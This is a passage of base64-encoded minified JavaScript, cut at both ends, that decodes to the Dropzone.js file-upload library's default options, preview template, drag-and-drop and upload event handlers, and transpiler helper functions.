iJmaWxlIixjcmVhdGVJbWFnZVRodW1ibmFpbHM6ITAsbWF4VGh1bWJuYWlsRmlsZXNpemU6MTAsdGh1bWJuYWlsV2lkdGg6MTIwLHRodW1ibmFpbEhlaWdodDoxMjAsdGh1bWJuYWlsTWV0aG9kOiJjcm9wIixyZXNpemVXaWR0aDpudWxsLHJlc2l6ZUhlaWdodDpudWxsLHJlc2l6ZU1pbWVUeXBlOm51bGwscmVzaXplUXVhbGl0eTouOCxyZXNpemVNZXRob2Q6ImNvbnRhaW4iLGZpbGVzaXplQmFzZToxZTMsbWF4RmlsZXM6bnVsbCxoZWFkZXJzOm51bGwsY2xpY2thYmxlOiEwLGlnbm9yZUhpZGRlbkZpbGVzOiEwLGFjY2VwdGVkRmlsZXM6bnVsbCxhY2NlcHRlZE1pbWVUeXBlczpudWxsLGF1dG9Qcm9jZXNzUXVldWU6ITAsYXV0b1F1ZXVlOiEwLGFkZFJlbW92ZUxpbmtzOiExLHByZXZpZXdzQ29udGFpbmVyOm51bGwsZGlzYWJsZVByZXZpZXdzOiExLGhpZGRlbklucHV0Q29udGFpbmVyOiJib2R5IixjYXB0dXJlOm51bGwscmVuYW1lRmlsZW5hbWU6bnVsbCxyZW5hbWVGaWxlOm51bGwsZm9yY2VGYWxsYmFjazohMSxkaWN0RGVmYXVsdE1lc3NhZ2U6IkRyb3AgZmlsZXMgaGVyZSB0byB1cGxvYWQiLGRpY3RGYWxsYmFja01lc3NhZ2U6IllvdXIgYnJvd3NlciBkb2VzIG5vdCBzdXBwb3J0IGRyYWcnbidkcm9wIGZpbGUgdXBsb2Fkcy4iLGRpY3RGYWxsYmFja1RleHQ6IlBsZWFzZSB1c2UgdGhlIGZhbGxiYWNrIGZvcm0gYmVsb3cgdG8gdXBsb2FkIHlvdXIgZmlsZXMgbGlrZSBpbiB0aGUgb2xkZW4gZGF5cy4iLGRpY3RGaWxlVG9vQmlnOiJGaWxlIGlzIHRvbyBiaWcgKHt7ZmlsZXNpemV9fU1pQikuIE1heCBmaWxlc2l6ZToge3ttYXhGaWxlc2l6ZX19TWlCLiIsZGljdEludmFsaWRGaWxlVHlwZToiWW91IGNhbid0IHVwbG9hZCBmaWxlcyBvZiB0aGlzIHR5cGUuIixkaWN0UmVzcG9uc2VFcnJvcjoiU2VydmVyIHJlc3BvbmRlZCB3aXRoIHt7c3RhdHVzQ29kZX19IGNvZGUuIixkaWN0Q2FuY2VsVXBsb2FkOiJDYW5jZWwgdXBsb2FkIixkaWN0VXBsb2FkQ2FuY2VsZWQ6IlVwbG9hZCBjYW5jZWxlZC4iLGRpY3RDYW5jZWxVcGxvYWRDb25maXJtYXRpb246IkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBjYW5jZWwgdGhpcyB1cGxvYWQ/IixkaWN0UmVtb3ZlRmlsZToiUmVtb3ZlIGZpbGUiLGRpY3RSZW1vdmVGaWxlQ29uZmlybWF0aW9uOm51bGwsZGljdE1heEZpbGVzRXhjZWVkZWQ6IllvdSBjYW4gbm90IHVwbG9hZCBhbnkgbW9yZSBmaWxlcy4iLGRpY3RGaWxlU2l6ZVVuaXRzOnt0YjoiVEIiLGdiOiJHQiIsbWI6Ik1CIixrYjoiS0IiLGI6ImIifSxpbml0OmZ1bmN0aW9uKCl7fSxwYXJhbXM6ZnVuY3Rpb24oZSx0LG4pe2lmKG4pcmV0dXJue2R6dXVpZDpuLmZpbGUudXBsb2FkLnV1aWQsZHpjaHVua2luZGV4Om4uaW5kZXgsZHp0b3RhbGZpbGVzaXplOm4uZmlsZS5zaXplLGR6Y2h1bmtzaXplOnRoaXMub3B0aW9ucy5jaHVua1NpemUsZHp0b3RhbGNodW5rY291bnQ6bi5maWxlLnVwbG9hZC50b3RhbENodW5rQ291bnQsZHpjaHVua2J5dGVvZmZzZXQ6bi5pbmRleCp0aGlzLm9wdGlvbnMuY2h1bmtTaXplfX0sYWNjZXB0OmZ1bmN0aW9uKGUsdCl7cmV0dXJuIHQoKX0sY2h1bmtzVXBsb2FkZWQ6ZnVuY3Rpb24oZSx0KXt0KCl9LGZhbGxiYWNrOmZ1bmN0aW9uKCl7dmFyIGU7dGhpcy5lbGVtZW50LmNsYXNzTmFtZT0iIi5jb25jYXQodGhpcy5lbGVtZW50LmNsYXNzTmFtZSwiIGR6LWJyb3dzZXItbm90LXN1cHBvcnRlZCIpO3ZhciB0LG49YSh0aGlzLmVsZW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImRpdiIpLCEwKTt0cnl7Zm9yKG4ucygpOyEodD1uLm4oKSkuZG9uZTspe3ZhciByPXQudmFsdWU7aWYoLyhefCApZHotbWVzc2FnZSgkfCApLy50ZXN0KHIuY2xhc3NOYW1lKSl7ZT1yLHIuY2xhc3NOYW1lPSJkei1tZXNzYWdlIjticmVha319fWNhdGNoKGUpe24uZShlKX1maW5hbGx5e24uZigpfWV8fChlPWIuY3JlYXRlRWxlbWVudCgnPGRpdiBjbGFzcz0iZHotbWVzc2FnZSI+PHNwYW4+PC9zcGFuPjwvZGl2PicpLHRoaXMuZWxlbWVudC5hcHBlbmRDaGlsZChlKSk7dmFyIGk9ZS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic3BhbiIpWzBdO3JldHVybiBpJiYobnVsbCE9aS50ZXh0Q29udGVudD9pLnRleHRDb250ZW50PXRoaXMub3B0aW9ucy5kaWN0RmFsbGJhY2tNZXNzYWdlOm51bGwhPWkuaW5uZXJUZXh0JiYoaS5pbm5lclRleHQ9dGhpcy5vcHRpb25zLmRpY3RGYWxsYmFja01lc3NhZ2UpKSx0aGlzLmVsZW1lbnQuYXBwZW5kQ2hpbGQodGhpcy5nZXRGYWxsYmFja0Zvcm0oKSl9LHJlc2l6ZTpmdW5jdGlvbihlLHQsbixyKXt2YXIgaT17c3JjWDowLHNyY1k6MCxzcmNXaWR0aDplLndpZHRoLHNyY0hlaWdodDplLmhlaWdodH0sbz1lLndpZHRoL2UuaGVpZ2h0O251bGw9PXQmJm51bGw9PW4/KHQ9aS5zcmNXaWR0aCxuPWkuc3JjSGVpZ2h0KTpudWxsPT10P3Q9bipvOm51bGw9PW4mJihuPXQvbyk7dmFyIGE9KHQ9TWF0aC5taW4odCxpLnNyY1dpZHRoKSkvKG49TWF0aC5taW4obixpLnNyY0hlaWdodCkpO2lmKGkuc3JjV2lkdGg+dHx8aS5zcmNIZWlnaHQ+bilpZigiY3JvcCI9PT1yKW8+YT8oaS5zcmNIZWlnaHQ9ZS5oZWlnaHQsaS5zcmNXaWR0aD1pLnNyY0hlaWdodCphKTooaS5zcmNXaWR0aD1lLndpZHRoLGkuc3JjSGVpZ2h0PWkuc3JjV2lkdGgvYSk7ZWxzZXtpZigiY29udGFpbiIhPT1yKXRocm93IG5ldyBFcnJvcigiVW5rbm93biByZXNpemVNZXRob2QgJyIuY29uY2F0KHIsIiciKSk7bz5hP249dC9vOnQ9bipvfXJldHVybiBpLnNyY1g9KGUud2lkdGgtaS5zcmNXaWR0aCkvMixpLnNyY1k9KGUuaGVpZ2h0LWkuc3JjSGVpZ2h0KS8yLGkudHJnV2lkdGg9dCxpLnRyZ0hlaWdodD1uLGl9LHRyYW5zZm9ybUZpbGU6ZnVuY3Rpb24oZSx0KXtyZXR1cm4odGhpcy5vcHRpb25zLnJlc2l6ZVdpZHRofHx0aGlzLm9wdGlvbnMucmVzaXplSGVpZ2h0KSYmZS50eXBlLm1hdGNoKC9pbWFnZS4qLyk/dGhpcy5yZXNpemVJbWFnZShlLHRoaXMub3B0aW9ucy5yZXNpemVXaWR0aCx0aGlzLm9wdGlvbnMucmVzaXplSGVpZ2h0LHRoaXMub3B0aW9ucy5yZXNpemVNZXRob2QsdCk6dChlKX0scHJldmlld1RlbXBsYXRlOic8ZGl2IGNsYXNzPSJkei1wcmV2aWV3IGR6LWZpbGUtcHJldmlldyI+IDxkaXYgY2xhc3M9ImR6LWltYWdlIj48aW1nIGRhdGEtZHotdGh1bWJuYWlsLz48L2Rpdj4gPGRpdiBjbGFzcz0iZHotZGV0YWlscyI+IDxkaXYgY2xhc3M9ImR6LXNpemUiPjxzcGFuIGRhdGEtZHotc2l6ZT48L3NwYW4+PC9kaXY+IDxkaXYgY2xhc3M9ImR6LWZpbGVuYW1lIj48c3BhbiBkYXRhLWR6LW5hbWU+PC9zcGFuPjwvZGl2PiA8L2Rpdj4gPGRpdiBjbGFzcz0iZHotcHJvZ3Jlc3MiPiA8c3BhbiBjbGFzcz0iZHotdXBsb2FkIiBkYXRhLWR6LXVwbG9hZHByb2dyZXNzPjwvc3Bhbj4gPC9kaXY+IDxkaXYgY2xhc3M9ImR6LWVycm9yLW1lc3NhZ2UiPjxzcGFuIGRhdGEtZHotZXJyb3JtZXNzYWdlPjwvc3Bhbj48L2Rpdj4gPGRpdiBjbGFzcz0iZHotc3VjY2Vzcy1tYXJrIj4gPHN2ZyB3aWR0aD0iNTRweCIgaGVpZ2h0PSI1NHB4IiB2aWV3Qm94PSIwIDAgNTQgNTQiIHZlcnNpb249IjEuMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI+IDx0aXRsZT5DaGVjazwvdGl0bGU+IDxnIHN0cm9rZT0ibm9uZSIgc3Ryb2tlLXdpZHRoPSIxIiBmaWxsPSJub25lIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiPiA8cGF0aCBkPSJNMjMuNSwzMS44NDMxNDU4IEwxNy41ODUyNDE5LDI1LjkyODM4NzcgQzE2LjAyNDgyNTMsMjQuMzY3OTcxMSAxMy40OTEwMjk0LDI0LjM2NjgzNSAxMS45Mjg5MzIyLDI1LjkyODkzMjIgQzEwLjM3MDAxMzYsMjcuNDg3ODUwOCAxMC4zNjY1OTEyLDMwLjAyMzQ0NTUgMTEuOTI4Mzg3NywzMS41ODUyNDE5IEwyMC40MTQ3NTgxLDQwLjA3MTYxMjMgQzIwLjUxMzM5OTksNDAuMTcwMjU0MSAyMC42MTU5MzE1LDQwLjI2MjY2NDkgMjAuNzIxODYxNSw0MC4zNDg4NDM1IEMyMi4yODM1NjY5LDQxLjg3MjU2NTEgMjQuNzk0MjM0LDQxLjg2MjYyMDIgMjYuMzQ2MTU2NCw0MC4zMTA2OTc4IEw0My4zMTA2OTc4LDIzLjM0NjE1NjQgQzQ0Ljg3NzEwMjEsMjEuNzc5NzUyMSA0NC44NzU4MDU3LDE5LjI0ODM4ODcgNDMuMzEzNzA4NSwxNy42ODYyOTE1IEM0MS43NTQ3ODk5LDE2LjEyNzM3MjkgMzkuMjE3NjAzNSwxNi4xMjU1NDIyIDM3LjY1Mzg0MzYsMTcuNjg5MzAyMiBMMjMuNSwzMS44NDMxNDU4IFogTTI3LDUzIEM0MS4zNTk0MDM1LDUzIDUzLDQxLjM1OTQwMzUgNTMsMjcgQzUzLDEyLjY0MDU5NjUgNDEuMzU5NDAzNSwxIDI3LDEgQzEyLjY0MDU5NjUsMSAxLDEyLjY0MDU5NjUgMSwyNyBDMSw0MS4zNTk0MDM1IDEyLjY0MDU5NjUsNTMgMjcsNTMgWiIgc3Ryb2tlLW9wYWNpdHk9IjAuMTk4Nzk0MTU4IiBzdHJva2U9IiM3NDc0NzQiIGZpbGwtb3BhY2l0eT0iMC44MTY1MTk0NzUiIGZpbGw9IiNGRkZGRkYiPjwvcGF0aD4gPC9nPiA8L3N2Zz4gPC9kaXY+IDxkaXYgY2xhc3M9ImR6LWVycm9yLW1hcmsiPiA8c3ZnIHdpZHRoPSI1NHB4IiBoZWlnaHQ9IjU0cHgiIHZpZXdCb3g9IjAgMCA1NCA1NCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4gPHRpdGxlPkVycm9yPC90aXRsZT4gPGcgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+IDxnIHN0cm9rZT0iIzc0NzQ3NCIgc3Ryb2tlLW9wYWNpdHk9IjAuMTk4Nzk0MTU4IiBmaWxsPSIjRkZGRkZGIiBmaWxsLW9wYWNpdHk9IjAuODE2NTE5NDc1Ij4gPHBhdGggZD0iTTMyLjY1Njg1NDIsMjkgTDM4LjMxMDY5NzgsMjMuMzQ2MTU2NCBDMzkuODc3MTAyMSwyMS43Nzk3NTIxIDM5Ljg3NTgwNTcsMTkuMjQ4Mzg4NyAzOC4zMTM3MDg1LDE3LjY4NjI5MTUgQzM2Ljc1NDc4OTksMTYuMTI3MzcyOSAzNC4yMTc2MDM1LDE2LjEyNTU0MjIgMzIuNjUzODQzNiwxNy42ODkzMDIyIEwyNywyMy4zNDMxNDU4IEwyMS4zNDYxNTY0LDE3LjY4OTMwMjIgQzE5Ljc4MjM5NjUsMTYuMTI1NTQyMiAxNy4yNDUyMTAxLDE2LjEyNzM3MjkgMTUuNjg2MjkxNSwxNy42ODYyOTE1IEMxNC4xMjQxOTQzLDE5LjI0ODM4ODcgMTQuMTIyODk3OSwyMS43Nzk3NTIxIDE1LjY4OTMwMjIsMjMuMzQ2MTU2NCBMMjEuMzQzMTQ1OCwyOSBMMTUuNjg5MzAyMiwzNC42NTM4NDM2IEMxNC4xMjI4OTc5LDM2LjIyMDI0NzkgMTQuMTI0MTk0MywzOC43NTE2MTEzIDE1LjY4NjI5MTUsNDAuMzEzNzA4NSBDMTcuMjQ1MjEwMSw0MS44NzI2MjcxIDE5Ljc4MjM5NjUsNDEuODc0NDU3OCAyMS4zNDYxNTY0LDQwLjMxMDY5NzggTDI3LDM0LjY1Njg1NDIgTDMyLjY1Mzg0MzYsNDAuMzEwNjk3OCBDMzQuMjE3NjAzNSw0MS44NzQ0NTc4IDM2Ljc1NDc4OTksNDEuODcyNjI3MSAzOC4zMTM3MDg1LDQwLjMxMzcwODUgQzM5Ljg3NTgwNTcsMzguNzUxNjExMyAzOS44NzcxMDIxLDM2LjIyMDI0NzkgMzguMzEwNjk3OCwzNC42NTM4NDM2IEwzMi42NTY4NTQyLDI5IFogTTI3LDUzIEM0MS4zNTk0MDM1LDUzIDUzLDQxLjM1OTQwMzUgNTMsMjcgQzUzLDEyLjY0MDU5NjUgNDEuMzU5NDAzNSwxIDI3LDEgQzEyLjY0MDU5NjUsMSAxLDEyLjY0MDU5NjUgMSwyNyBDMSw0MS4zNTk0MDM1IDEyLjY0MDU5NjUsNTMgMjcsNTMgWiI+PC9wYXRoPiA8L2c+IDwvZz4gPC9zdmc+IDwvZGl2PiA8L2Rpdj4gJyxkcm9wOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVsZW1lbnQuY2xhc3NMaXN0LnJlbW92ZSgiZHotZHJhZy1ob3ZlciIpfSxkcmFnc3RhcnQ6ZnVuY3Rpb24oZSl7fSxkcmFnZW5kOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVsZW1lbnQuY2xhc3NMaXN0LnJlbW92ZSgiZHotZHJhZy1ob3ZlciIpfSxkcmFnZW50ZXI6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuZWxlbWVudC5jbGFzc0xpc3QuYWRkKCJkei1kcmFnLWhvdmVyIil9LGRyYWdvdmVyOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVsZW1lbnQuY2xhc3NMaXN0LmFkZCgiZHotZHJhZy1ob3ZlciIpfSxkcmFnbGVhdmU6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuZWxlbWVudC5jbGFzc0xpc3QucmVtb3ZlKCJkei1kcmFnLWhvdmVyIil9LHBhc3RlOmZ1bmN0aW9uKGUpe30scmVzZXQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lbGVtZW50LmNsYXNzTGlzdC5yZW1vdmUoImR6LXN0YXJ0ZWQiKX0sYWRkZWRmaWxlOmZ1bmN0aW9uKGUpe3ZhciB0PXRoaXM7aWYodGhpcy5lbGVtZW50PT09dGhpcy5wcmV2aWV3c0NvbnRhaW5lciYmdGhpcy5lbGVtZW50LmNsYXNzTGlzdC5hZGQoImR6LXN0YXJ0ZWQiKSx0aGlzLnByZXZpZXdzQ29udGFpbmVyJiYhdGhpcy5vcHRpb25zLmRpc2FibGVQcmV2aWV3cyl7ZS5wcmV2aWV3RWxlbWVudD1iLmNyZWF0ZUVsZW1lbnQodGhpcy5vcHRpb25zLnByZXZpZXdUZW1wbGF0ZS50cmltKCkpLGUucHJldmlld1RlbXBsYXRlPWUucHJldmlld0VsZW1lbnQsdGhpcy5wcmV2aWV3c0NvbnRhaW5lci5hcHBlbmRDaGlsZChlLnByZXZpZXdFbGVtZW50KTt2YXIgbixyPWEoZS5wcmV2aWV3RWxlbWVudC5xdWVyeVNlbGVjdG9yQWxsKCJbZGF0YS1kei1uYW1lXSIpLCEwKTt0cnl7Zm9yKHIucygpOyEobj1yLm4oKSkuZG9uZTspe3ZhciBpPW4udmFsdWU7aS50ZXh0Q29udGVudD1lLm5hbWV9fWNhdGNoKGUpe3IuZShlKX1maW5hbGx5e3IuZigpfXZhciBvLHU9YShlLnByZXZpZXdFbGVtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIltkYXRhLWR6LXNpemVdIiksITApO3RyeXtmb3IodS5zKCk7IShvPXUubigpKS5kb25lOykoaT1vLnZhbHVlKS5pbm5lckhUTUw9dGhpcy5maWxlc2l6ZShlLnNpemUpfWNhdGNoKGUpe3UuZShlKX1maW5hbGx5e3UuZigpfXRoaXMub3B0aW9ucy5hZGRSZW1vdmVMaW5rcyYmKGUuX3JlbW92ZUxpbms9Yi5jcmVhdGVFbGVtZW50KCc8YSBjbGFzcz0iZHotcmVtb3ZlIiBocmVmPSJqYXZhc2NyaXB0OnVuZGVmaW5lZDsiIGRhdGEtZHotcmVtb3ZlPicuY29uY2F0KHRoaXMub3B0aW9ucy5kaWN0UmVtb3ZlRmlsZSwiPC9hPiIpKSxlLnByZXZpZXdFbGVtZW50LmFwcGVuZENoaWxkKGUuX3JlbW92ZUxpbmspKTt2YXIgcyxsPWZ1bmN0aW9uKG4pe3JldHVybiBuLnByZXZlbnREZWZhdWx0KCksbi5zdG9wUHJvcGFnYXRpb24oKSxlLnN0YXR1cz09PWIuVVBMT0FESU5HP2IuY29uZmlybSh0Lm9wdGlvbnMuZGljdENhbmNlbFVwbG9hZENvbmZpcm1hdGlvbiwoZnVuY3Rpb24oKXtyZXR1cm4gdC5yZW1vdmVGaWxlKGUpfSkpOnQub3B0aW9ucy5kaWN0UmVtb3ZlRmlsZUNvbmZpcm1hdGlvbj9iLmNvbmZpcm0odC5vcHRpb25zLmRpY3RSZW1vdmVGaWxlQ29uZmlybWF0aW9uLChmdW5jdGlvbigpe3JldHVybiB0LnJlbW92ZUZpbGUoZSl9KSk6dC5yZW1vdmVGaWxlKGUpfSxjPWEoZS5wcmV2aWV3RWxlbWVudC5xdWVyeVNlbGVjdG9yQWxsKCJbZGF0YS1kei1yZW1vdmVdIiksITApO3RyeXtmb3IoYy5zKCk7IShzPWMubigpKS5kb25lOylzLnZhbHVlLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixsKX1jYXRjaChlKXtjLmUoZSl9ZmluYWxseXtjLmYoKX19fSxyZW1vdmVkZmlsZTpmdW5jdGlvbihlKXtyZXR1cm4gbnVsbCE9ZS5wcmV2aWV3RWxlbWVudCYmbnVsbCE9ZS5wcmV2aWV3RWxlbWVudC5wYXJlbnROb2RlJiZlLnByZXZpZXdFbGVtZW50LnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoZS5wcmV2aWV3RWxlbWVudCksdGhpcy5fdXBkYXRlTWF4RmlsZXNSZWFjaGVkQ2xhc3MoKX0sdGh1bWJuYWlsOmZ1bmN0aW9uKGUsdCl7aWYoZS5wcmV2aWV3RWxlbWVudCl7ZS5wcmV2aWV3RWxlbWVudC5jbGFzc0xpc3QucmVtb3ZlKCJkei1maWxlLXByZXZpZXciKTt2YXIgbixyPWEoZS5wcmV2aWV3RWxlbWVudC5xdWVyeVNlbGVjdG9yQWxsKCJbZGF0YS1kei10aHVtYm5haWxdIiksITApO3RyeXtmb3Ioci5zKCk7IShuPXIubigpKS5kb25lOyl7dmFyIGk9bi52YWx1ZTtpLmFsdD1lLm5hbWUsaS5zcmM9dH19Y2F0Y2goZSl7ci5lKGUpfWZpbmFsbHl7ci5mKCl9cmV0dXJuIHNldFRpbWVvdXQoKGZ1bmN0aW9uKCl7cmV0dXJuIGUucHJldmlld0VsZW1lbnQuY2xhc3NMaXN0LmFkZCgiZHotaW1hZ2UtcHJldmlldyIpfSksMSl9fSxlcnJvcjpmdW5jdGlvbihlLHQpe2lmKGUucHJldmlld0VsZW1lbnQpe2UucHJldmlld0VsZW1lbnQuY2xhc3NMaXN0LmFkZCgiZHotZXJyb3IiKSwic3RyaW5nIiE9dHlwZW9mIHQmJnQuZXJyb3ImJih0PXQuZXJyb3IpO3ZhciBuLHI9YShlLnByZXZpZXdFbGVtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIltkYXRhLWR6LWVycm9ybWVzc2FnZV0iKSwhMCk7dHJ5e2ZvcihyLnMoKTshKG49ci5uKCkpLmRvbmU7KW4udmFsdWUudGV4dENvbnRlbnQ9dH1jYXRjaChlKXtyLmUoZSl9ZmluYWxseXtyLmYoKX19fSxlcnJvcm11bHRpcGxlOmZ1bmN0aW9uKCl7fSxwcm9jZXNzaW5nOmZ1bmN0aW9uKGUpe2lmKGUucHJldmlld0VsZW1lbnQmJihlLnByZXZpZXdFbGVtZW50LmNsYXNzTGlzdC5hZGQoImR6LXByb2Nlc3NpbmciKSxlLl9yZW1vdmVMaW5rKSlyZXR1cm4gZS5fcmVtb3ZlTGluay5pbm5lckhUTUw9dGhpcy5vcHRpb25zLmRpY3RDYW5jZWxVcGxvYWR9LHByb2Nlc3NpbmdtdWx0aXBsZTpmdW5jdGlvbigpe30sdXBsb2FkcHJvZ3Jlc3M6ZnVuY3Rpb24oZSx0LG4pe2lmKGUucHJldmlld0VsZW1lbnQpe3ZhciByLGk9YShlLnByZXZpZXdFbGVtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIltkYXRhLWR6LXVwbG9hZHByb2dyZXNzXSIpLCEwKTt0cnl7Zm9yKGkucygpOyEocj1pLm4oKSkuZG9uZTspe3ZhciBvPXIudmFsdWU7IlBST0dSRVNTIj09PW8ubm9kZU5hbWU/by52YWx1ZT10Om8uc3R5bGUud2lkdGg9IiIuY29uY2F0KHQsIiUiKX19Y2F0Y2goZSl7aS5lKGUpfWZpbmFsbHl7aS5mKCl9fX0sdG90YWx1cGxvYWRwcm9ncmVzczpmdW5jdGlvbigpe30sc2VuZGluZzpmdW5jdGlvbigpe30sc2VuZGluZ211bHRpcGxlOmZ1bmN0aW9uKCl7fSxzdWNjZXNzOmZ1bmN0aW9uKGUpe2lmKGUucHJldmlld0VsZW1lbnQpcmV0dXJuIGUucHJldmlld0VsZW1lbnQuY2xhc3NMaXN0LmFkZCgiZHotc3VjY2VzcyIpfSxzdWNjZXNzbXVsdGlwbGU6ZnVuY3Rpb24oKXt9LGNhbmNlbGVkOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVtaXQoImVycm9yIixlLHRoaXMub3B0aW9ucy5kaWN0VXBsb2FkQ2FuY2VsZWQpfSxjYW5jZWxlZG11bHRpcGxlOmZ1bmN0aW9uKCl7fSxjb21wbGV0ZTpmdW5jdGlvbihlKXtpZihlLl9yZW1vdmVMaW5rJiYoZS5fcmVtb3ZlTGluay5pbm5lckhUTUw9dGhpcy5vcHRpb25zLmRpY3RSZW1vdmVGaWxlKSxlLnByZXZpZXdFbGVtZW50KXJldHVybiBlLnByZXZpZXdFbGVtZW50LmNsYXNzTGlzdC5hZGQoImR6LWNvbXBsZXRlIil9LGNvbXBsZXRlbXVsdGlwbGU6ZnVuY3Rpb24oKXt9LG1heGZpbGVzZXhjZWVkZWQ6ZnVuY3Rpb24oKXt9LG1heGZpbGVzcmVhY2hlZDpmdW5jdGlvbigpe30scXVldWVjb21wbGV0ZTpmdW5jdGlvbigpe30sYWRkZWRmaWxlczpmdW5jdGlvbigpe319O2Z1bmN0aW9uIGwoZSl7cmV0dXJuKGw9ImZ1bmN0aW9uIj09dHlwZW9mIFN5bWJvbCYmInN5bWJvbCI9PXR5cGVvZiBTeW1ib2wuaXRlcmF0b3I/ZnVuY3Rpb24oZSl7cmV0dXJuIHR5cGVvZiBlfTpmdW5jdGlvbihlKXtyZXR1cm4gZSYmImZ1bmN0aW9uIj09dHlwZW9mIFN5bWJvbCYmZS5jb25zdHJ1Y3Rvcj09PVN5bWJvbCYmZSE9PVN5bWJvbC5wcm90b3R5cGU/InN5bWJvbCI6dHlwZW9mIGV9KShlKX1mdW5jdGlvbiBjKGUsdCl7dmFyIG47aWYoInVuZGVmaW5lZCI9PXR5cGVvZiBTeW1ib2x8fG51bGw9PWVbU3ltYm9sLml0ZXJhdG9yXSl7aWYoQXJyYXkuaXNBcnJheShlKXx8KG49ZnVuY3Rpb24oZSx0KXtpZihlKXtpZigic3RyaW5nIj09dHlwZW9mIGUpcmV0dXJuIGYoZSx0KTt2YXIgbj1PYmplY3QucHJvdG90eXBlLnRvU3RyaW5nLmNhbGwoZSkuc2xpY2UoOCwtMSk7cmV0dXJuIk9iamVjdCI9PT1uJiZlLmNvbnN0cnVjdG9yJiYobj1lLmNvbnN0cnVjdG9yLm5hbWUpLCJNYXAiPT09bnx8IlNldCI9PT1uP0FycmF5LmZyb20oZSk6IkFyZ3VtZW50cyI9PT1ufHwvXig/OlVpfEkpbnQoPzo4fDE2fDMyKSg/OkNsYW1wZWQpP0FycmF5JC8udGVzdChuKT9mKGUsdCk6dm9pZCAwfX0oZSkpfHx0JiZlJiYibnVtYmVyIj09dHlwZW9mIGUubGVuZ3RoKXtuJiYoZT1uKTt2YXIgcj0wLGk9ZnVuY3Rpb24oKXt9O3JldHVybntzOmksbjpmdW5jdGlvbigpe3JldHVybiByPj1lLmxlbmd0aD97ZG9uZTohMH06e2RvbmU6ITEsdmFsdWU6ZVtyKytdfX0sZTpmdW5jdGlvbihlKXt0aHJvdyBlfSxmOml9fXRocm93IG5ldyBUeXBlRXJyb3IoIkludmFsaWQgYXR0ZW1wdCB0byBpdGVyYXRlIG5vbi1pdGVyYWJsZSBpbnN0YW5jZS5cbkluIG9yZGVyIHRvIGJlIGl0ZXJhYmxlLCBub24tYXJyYXkgb2JqZWN0cyBtdXN0IGhhdmUgYSBbU3ltYm9sLml0ZXJhdG9yXSgpIG1ldGhvZC4iKX12YXIgbyxhPSEwLHU9ITE7cmV0dXJue3M6ZnVuY3Rpb24oKXtuPWVbU3ltYm9sLml0ZXJhdG9yXSgpfSxuOmZ1bmN0aW9uKCl7dmFyIGU9bi5uZXh0KCk7cmV0dXJuIGE9ZS5kb25lLGV9LGU6ZnVuY3Rpb24oZSl7dT0hMCxvPWV9LGY6ZnVuY3Rpb24oKXt0cnl7YXx8bnVsbD09bi5yZXR1cm58fG4ucmV0dXJuKCl9ZmluYWxseXtpZih1KXRocm93IG99fX19ZnVuY3Rpb24gZihlLHQpeyhudWxsPT10fHx0PmUubGVuZ3RoKSYmKHQ9ZS5sZW5ndGgpO2Zvcih2YXIgbj0wLHI9bmV3IEFycmF5KHQpO248dDtuKyspcltuXT1lW25dO3JldHVybiByfWZ1bmN0aW9uIHAoZSx0KXtpZighKGUgaW5zdGFuY2VvZiB0KSl0aHJvdyBuZXcgVHlwZUVycm9yKCJDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb24iKX1mdW5jdGlvbiBoKGUsdCl7Zm9yKHZhciBuPTA7bjx0Lmxlbmd0aDtuKyspe3ZhciByPXRbbl07ci5lbnVtZXJhYmxlPXIuZW51bWVyYWJsZXx8ITEsci5jb25maWd1cmFibGU9ITAsInZhbHVlImluIHImJihyLndyaXRhYmxlPSEwKSxPYmplY3QuZGVmaW5lUHJvcGVydHkoZSxyLmtleSxyKX19ZnVuY3Rpb24gZChlLHQsbil7cmV0dXJuIHQmJmgoZS5wcm90b3R5cGUsdCksbiYmaChlLG4pLGV9ZnVuY3Rpb24gdihlLHQpe3JldHVybih2PU9iamVjdC5zZXRQcm90b3R5cGVPZnx8ZnVuY3Rpb24oZSx0KXtyZXR1cm4gZS5fX3Byb3RvX189dCxlfSkoZSx0KX1mdW5jdGlvbiB5KGUsdCl7cmV0dXJuIXR8fCJvYmplY3QiIT09bCh0KSYmImZ1bmN0aW9uIiE9dHlwZW9mIHQ/ZyhlKTp0fWZ1bmN0aW9uIGcoZSl7aWYodm9pZCAwPT09ZSl0aHJvdyBuZXcgUmVmZXJlbmNlRXJyb3IoInRoaXMgaGFzbid0IGJlZW4gaW5pdGlhbGlzZWQgLSBzdXBlcigpIGhhc24ndCBiZWVuIGNhbGxlZCIpO3JldHVybiBlfWZ1bmN0aW9uIG0oZSl7cmV0dXJuKG09T2JqZWN0LnNldFByb3RvdHlwZU9mP09iamVjdC5nZXRQcm90b3R5cGVPZjpmdW5jdGlvbihlKXtyZXR1cm4gZS5fX3Byb3RvX198fE9iamVjdC5nZXRQcm90b3R5cGVPZihlKX0pKGUpfXZhciBiPWZ1bmN0aW9uKGUpeyFmdW5jdGlvbihlLHQpe2lmKCJmdW5jdGlvbiIhPXR5cGVvZiB0JiZudWxsIT09dCl0aHJvdyBuZXcgVHlwZUVycm9yKCJTdXBlciBleHByZXNzaW9uIG11c3Q